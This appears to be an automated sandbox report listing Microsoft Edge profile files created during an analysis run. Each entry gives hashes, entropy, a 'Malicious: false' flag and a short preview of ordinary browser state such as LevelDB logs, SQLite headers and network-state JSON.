C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147223258011003
Encrypted:	false
SSDEEP:	6:HOf2Rt3Oq2PN723oH+Tcwt8NIFUt8YOf2QGCZZmw+YOf2QGCzkwON723oH+Tcwt2:Q25OvVaYebpFUt8b1GCZ/+b1GCz5OaYN
MD5:	07295464B698C9E44AE93E46DBF5B949
SHA1:	B0440DFDA12EBAF8FB70EDE7BD418D243780EA4F
SHA-256:	847161ED48C2161537BF9BBF3FD3F9D9E509372C68E40E9147319C7CE41EEC6A
SHA-512:	D946DBEC38F19E442AEB40A4EDDE9D6213DE1694C1FC65B1AF2FD24C74C9AB353EC8B3FB71F62D5666B9B5A7BD566400E2042978FC98A87BCA69FC29E24D43E0
Malicious:	false
Preview:	2024/11/22-20:55:29.774 2334 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-20:55:29.775 2334 Recovering log #3.2024/11/22-20:55:29.775 2334 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147223258011003
Encrypted:	false
SSDEEP:	6:HOf2Rt3Oq2PN723oH+Tcwt8NIFUt8YOf2QGCZZmw+YOf2QGCzkwON723oH+Tcwt2:Q25OvVaYebpFUt8b1GCZ/+b1GCz5OaYN
MD5:	07295464B698C9E44AE93E46DBF5B949
SHA1:	B0440DFDA12EBAF8FB70EDE7BD418D243780EA4F
SHA-256:	847161ED48C2161537BF9BBF3FD3F9D9E509372C68E40E9147319C7CE41EEC6A
SHA-512:	D946DBEC38F19E442AEB40A4EDDE9D6213DE1694C1FC65B1AF2FD24C74C9AB353EC8B3FB71F62D5666B9B5A7BD566400E2042978FC98A87BCA69FC29E24D43E0
Malicious:	false
Preview:	2024/11/22-20:55:29.774 2334 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-20:55:29.775 2334 Recovering log #3.2024/11/22-20:55:29.775 2334 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:ihll7ntFlljq7A/mhWJFuQ3yy7IOWU44/dweytllrE9SFcTp4AGbNCV9RUIGa:izK75fOz/d0Xi99pEY5
MD5:	460C9920B6BF2A905EC04D5459F37DC1
SHA1:	B35C234EDC574EDFA520790BB896AAAD8EAC9B97
SHA-256:	D3BD4A61CC5FB9DC8D1B968B3938C89AA273A30CC1AF19C6B848D458670C0C06
SHA-512:	ED843FFE18036F5511CDF7C4534F2E2DEFCE9B6DE6143160AB14ABC6E5E0987E5AE6E1205295B6912013404FA81DD58861BD63D0010E0DEADC1F5CEF885F35C4
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480712817282157
Encrypted:	false
SSDEEP:	384:aj9P0CQkQerkjlB773pLQP/KbtIgam6I0hlcERKToaAu:adVe2mlB7KP/SEAERKcC
MD5:	47EF51CCD01C19B7FC9215EDBEA054BA
SHA1:	DA33CD86E408B5EA7149973E5AA9403F4B5739F6
SHA-256:	F79314C88317120B0927B5DD4F8AB469C8E02EF8D191CB2892EE36EC5C04856C
SHA-512:	FB516AD8504B0A1D84BE662005C867BBE5EEAA5B177B4DE1745FBA05B2BA723BC3C589913F7FD8CCFA63389CA7D3D4A6AF47C6192994DE2928C50D9160DFDB5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.2494273997736345
Encrypted:	false
SSDEEP:	12:QM9vVaYeb8rcHEZrELFUt8bMY/+bMtNF5OaYeb8rcHEZrEZSJ:DhVaYeb8nZrExg8IqtNXOaYeb8nZrEZe
MD5:	3849614D4A4A8A1995230630373D4EE2
SHA1:	7F80E804F0A4A301DE683F39C115665273A44605
SHA-256:	BA68372C1F2CCC4071216C776AB5212316DB72F16E77CE692151D9DA07E2B9CA
SHA-512:	4E643F3093B7DA5A8F7D85D02745CE65D0F6E8C866A8049C150F6D5178F85F71F629391520E3B1A5BAB83A76246175EF4424221930C2428C2C4C4742D917B5C8
Malicious:	false
Preview:	2024/11/22-20:55:32.398 2328 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-20:55:32.398 2328 Recovering log #3.2024/11/22-20:55:32.399 2328 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.2494273997736345
Encrypted:	false
SSDEEP:	12:QM9vVaYeb8rcHEZrELFUt8bMY/+bMtNF5OaYeb8rcHEZrEZSJ:DhVaYeb8nZrExg8IqtNXOaYeb8nZrEZe
MD5:	3849614D4A4A8A1995230630373D4EE2
SHA1:	7F80E804F0A4A301DE683F39C115665273A44605
SHA-256:	BA68372C1F2CCC4071216C776AB5212316DB72F16E77CE692151D9DA07E2B9CA
SHA-512:	4E643F3093B7DA5A8F7D85D02745CE65D0F6E8C866A8049C150F6D5178F85F71F629391520E3B1A5BAB83A76246175EF4424221930C2428C2C4C4742D917B5C8
Malicious:	false
Preview:	2024/11/22-20:55:32.398 2328 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-20:55:32.398 2328 Recovering log #3.2024/11/22-20:55:32.399 2328 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.656449918371471
Encrypted:	false
SSDEEP:	24:dZWeGc53jjnnXZzW2sFV0374gfMy3WyUlHRlgBkTN5zgFHHmi28/V:dZLpjXZS2iV0374jy3D+3+HH328t
MD5:	0CF1F3D6B2D4CC7B7158C9549CA61C49
SHA1:	DA0BEF1D320DF0EF8B87811A597DE97688AA8260
SHA-256:	09FA4217C5DDDC6CD47BC72ADF662D58A329CB5499E0C20B690BA8578AAE2326
SHA-512:	69D8EB9137ABF968034A5117BC5BDA5C44513ABA4CB7028814E2CA63813158809DE537B6E757008934280E7F4E7935171FFD245E8F7C98BE8FBD891EAD81688E
Malicious:	false
Preview:	..p..................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1732326944155.._https://ntp.msn.com..MUID!.25272F1794486D883F453A57953A6C20.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732326944243,"schedule":[12,-1,-1,-1,-1,9,24],"scheduleFixed":[12,-1,-1,-1,-1,9,24],"simpleSchedule":[31,36,39,19,40,24,16]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732326944109.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Fri Nov 22 2024 20:55:43 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest.z[K$................META:https://ntp.msn.com.............._https://ntp.msn.com..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.130527249226735
Encrypted:	false
SSDEEP:	6:HOf40jSVq2PN723oH+Tcwt8a2jMGIFUt8YOf3kgZmw+YOf6LIkwON723oH+Tcwtw:Q40uVvVaYeb8EFUt8b0g/+b8I5OaYebw
MD5:	D17F20D27160E9724DC085D3C58E855A
SHA1:	333351DB53974BB5AACEC8B1AC29E6DD24B56E23
SHA-256:	A2D5C382C809E4E48B928432FBF8A73BBAB1C46595B28369E316888390E97EA4
SHA-512:	5B7B842A11E94FDE7FC9BD633173E424AE6AB19AE9A6C0CD6774095E548B642F104675726E16CE25818424CAE9E252E95D6169A7CFAB484D49B73E768519D0D4
Malicious:	false
Preview:	2024/11/22-20:55:29.359 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-20:55:29.366 2024 Recovering log #3.2024/11/22-20:55:29.371 2024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.130527249226735
Encrypted:	false
SSDEEP:	6:HOf40jSVq2PN723oH+Tcwt8a2jMGIFUt8YOf3kgZmw+YOf6LIkwON723oH+Tcwtw:Q40uVvVaYeb8EFUt8b0g/+b8I5OaYebw
MD5:	D17F20D27160E9724DC085D3C58E855A
SHA1:	333351DB53974BB5AACEC8B1AC29E6DD24B56E23
SHA-256:	A2D5C382C809E4E48B928432FBF8A73BBAB1C46595B28369E316888390E97EA4
SHA-512:	5B7B842A11E94FDE7FC9BD633173E424AE6AB19AE9A6C0CD6774095E548B642F104675726E16CE25818424CAE9E252E95D6169A7CFAB484D49B73E768519D0D4
Malicious:	false
Preview:	2024/11/22-20:55:29.359 2024 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-20:55:29.366 2024 Recovering log #3.2024/11/22-20:55:29.371 2024 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\27966e8a-5293-4415-a9a8-38320bd29ae1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2839bdab-14e9-42c5-9c56-94c44f7ebc9b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.8249649195440174
Encrypted:	false
SSDEEP:	192:tTr6PxpZULmy8QnuUUcmIlijdsk70c4p0L/ZJVb:VeFUafQn5UcmIlzw0lp0LhJVb
MD5:	134562DD43656DE572DA629A65DAABED
SHA1:	6FF73F2E18E80692266A072238CB432CFEF72C03
SHA-256:	1F984CAFFB560DAA2A7A2E0744DF55C303E2AA81E0FD7F0CE9AE45E7C7D622BE
SHA-512:	6853EC1B40472B01F20572A5E496B71F12E276D3EE889DCA91B20326916B2FD8DA44D06EE5FACC29274613DA1E16579044BBBB4285835BE7FC1E3C9CAE56D7EE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c04f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.5374775734298676
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6dxcKRSPIUlLXMiCb+D1a:+IEumQv8m1ccnvS6z0QUCYE
MD5:	967DADDA697980BC8514E2F453962153
SHA1:	CB659A8F313E74E32F8830F1BEE68EA372E6D823
SHA-256:	638D188285C23196F7642FD5F7DC948BD97481C7B311B60EEB39EBFB690C3E8F
SHA-512:	7435E8365CBE6287A56CC16FFF92BD82FFEFD45E5AC3A82BFE9D149D5B31FAF9F27EC9C49F761F0891C1426CF4D2643CA34A180D5326244182F686F709DBB4B4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ad77.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c4e7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a2c7d6a9-de92-46b8-a64d-fe5495e3d0fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1961
Entropy (8bit):	5.298868063942996
Encrypted:	false
SSDEEP:	48:YcCpfgCzsnts7TfcKsB5C9RsQleeIkEsHCgHH+Yhbm:F2fYST4YPkeIkjTzhK
MD5:	A4588BA80F5020D917FF2D91604FD3E9
SHA1:	10648CB1D49A1B7DF77C31904D8B268826893407
SHA-256:	A04AE5BCD8D2FF400EDEE8024BE8FC18DFD21C747A4C571A24E0A2CC8D1F6A1A
SHA-512:	39A591A5E9B18F5AACCF23B093C359488ABDFB65E49D5EB3E8B0E76067074C757346C954497E46EFCD10E8F9B916846B89F9ADEF554C9CB7CD3754BEA9B01373
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379392532768782","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379392535590678","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376886940383187","port":443,"protocol_str":"quic"}],"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"ser

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d332ef65-6504-43f2-9fb9-05af441e19c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
